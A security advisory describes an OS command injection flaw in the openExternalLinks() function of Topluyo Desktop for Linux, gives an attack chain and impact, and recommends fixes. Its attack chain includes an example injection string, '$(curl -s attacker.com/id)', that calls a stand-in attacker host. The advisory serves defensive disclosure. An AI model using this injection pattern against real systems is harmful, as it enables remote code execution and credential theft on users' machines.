Topluyo Desktop for Linux OS Command Injection (CVE-2026-115904)

Topluyo Desktop for Linux contains an OS Command Injection vulnerability (CVE-2026-115904) in the openExternalLinks() function within utils.js. The application improperly neutralizes user-supplied URLs before passing them to the child_process.exec() function, which executes commands via /bin/sh -c. Attackers can trigger arbitrary code execution by crafting a malicious URL containing shell meta-characters. The vulnerability was patched in version 2026.9.2410.

Attack Chain

1. Attacker crafts a URL string containing command substitution syntax, such as $(curl -s attacker.com/id).
2. Attacker hosts or delivers the malicious link to a target user via the application interface (e.g., chat, notification, or link preview).
3. The target user interacts with the link (clicks).
4. The openExternalLinks() function receives the URL.
5. The application invokes child_process.exec("xdg-open [malicious_url]").
6. The system shell interprets the command substitution inside the URL parameter before executing xdg-open.
7. Arbitrary commands execute in the context of the user running the Topluyo Desktop application.

Impact

Successful exploitation leads to full remote code execution in the context of the current desktop user. Impact includes arbitrary file access, credential theft, persistence installation (e.g., modifying ~/.bashrc or autostart), and the establishment of reverse shells.

Recommendation

• Upgrade Topluyo Desktop for Linux to version 2026.9.2410 or later immediately.
• For developers, replace child_process.exec() with child_process.execFile() when handling external system commands to prevent shell interpretation of arguments.
• Implement strict allow-listing for URL schemes (e.g., limit to http: and https:) before passing values to system calls.